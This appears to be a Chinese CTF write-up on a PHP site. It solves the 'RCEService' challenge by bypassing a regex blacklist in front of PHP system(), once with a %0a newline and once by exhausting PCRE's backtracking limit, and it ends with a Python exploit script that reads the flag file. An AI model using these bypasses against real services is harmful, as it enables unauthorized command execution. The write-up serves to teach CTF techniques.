PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
php下检测字符串是否是utf8编码的代码
Jun 28 PHP
浅析php插件 HTMLPurifier HTML解析器
Jul 01 PHP
php操作xml
Oct 27 PHP
PHP中的多行字符串传递给JavaScript的两种方法
Jun 19 PHP
ThinkPHP标签制作教程
Jul 10 PHP
在Ubuntu 14.04上部署 PHP 环境及 WordPress
Sep 02 PHP
php编写批量生成不重复的卡号密码代码
May 14 PHP
PHP判断是否连接上网络的方法
Jul 01 PHP
stripos函数知识点实例分享
Feb 11 PHP
php面试中关于面向对象的相关问题
Feb 13 PHP
laravel实现Auth认证,登录、注册后的页面回跳方法
Sep 30 PHP
PHP项目多语言配置平台实现过程解析
May 18 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
Smarty+QUICKFORM小小演示
2007/02/25 PHP
PHPWind 发帖回帖Api PHP版打包下载
2010/02/08 PHP
让PHP更快的提供文件下载的代码
2012/06/13 PHP
php输出1000以内质数(素数)示例
2014/02/16 PHP
微信自定义菜单的处理开发示例
2015/04/16 PHP
PHP微信开发之微信录音临时转永久存储
2018/01/26 PHP
在Z-Blog中运行代码[html][/html](纯JS版)
2007/03/25 Javascript
把JS与CSS写在同一个文件里的书写方法
2007/06/02 Javascript
JS 对象介绍
2010/01/20 Javascript
Easyui form combobox省市区三级联动
2016/01/13 Javascript
JavaScript常用数组算法小结
2016/02/13 Javascript
url中的特殊符号有什么含义(推荐)
2016/06/17 Javascript
jsonp跨域请求实现示例
2017/03/13 Javascript
AngularJS动态菜单操作指令
2017/04/25 Javascript
Vue.js实现文章评论和回复评论功能
2020/05/30 Javascript
Vue2.0利用vue-resource上传文件到七牛的实例代码
2017/07/28 Javascript
Angular5中提取公共组件之radio list的实例代码
2018/07/10 Javascript
vue项目中使用lib-flexible解决移动端适配的问题解决
2018/08/23 Javascript
解决vue v-for 遍历循环时key值报错的问题
2018/09/06 Javascript
解决vue 给window添加和移除resize事件遇到的坑
2020/07/21 Javascript
Vuejs通过拖动改变元素宽度实现自适应
2020/09/02 Javascript
Electron+vue从零开始打造一个本地播放器的方法示例
2020/10/27 Javascript
用Python编程实现语音控制电脑
2014/04/01 Python
Python编写生成验证码的脚本的教程
2015/05/04 Python
Python开发虚拟环境使用virtualenvwrapper的搭建步骤教程图解
2018/09/19 Python
在Python中预先初始化列表内容和长度的实现
2019/11/28 Python
解决keras模型保存h5文件提示无此目录问题
2020/07/01 Python
轻松制作精彩视频:Animoto
2018/09/19 全球购物
.NET remoting的两种通道是什么
2016/05/31 面试题
机械设计制造专业个人求职信
2013/09/25 职场文书
教师实习自我鉴定
2013/12/13 职场文书
情侣吵架检讨书
2014/02/05 职场文书
不打扫卫生检讨书
2014/02/12 职场文书
店铺转让协议书(2014版)
2014/09/23 职场文书
财务年终工作总结大全
2019/06/20 职场文书
win10如何更改appdata文件夹的默认位置?
2022/07/15 数码科技